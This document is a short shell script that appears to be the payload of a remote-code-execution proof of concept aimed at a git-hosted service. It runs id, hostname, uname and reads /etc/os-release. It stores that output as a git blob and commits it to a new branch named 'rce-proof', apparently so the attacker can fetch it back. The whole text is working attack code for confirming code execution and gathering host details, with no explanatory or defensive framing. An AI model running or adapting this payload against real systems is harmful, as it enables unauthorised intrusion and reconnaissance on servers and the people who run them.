#!/bin/sh
OUT=$(id; hostname; uname -a; cat /etc/os-release 2>/dev/null | head -3)
BLOB=$(echo "$OUT" | git hash-object -w --stdin)
TREE=$(printf "100644 blob ${BLOB}\toutput.txt\n" | git mktree)
COMMIT=$(git commit-tree ${TREE} -m "rce-output")
git update-ref refs/heads/rce-proof ${COMMIT}
exit 0
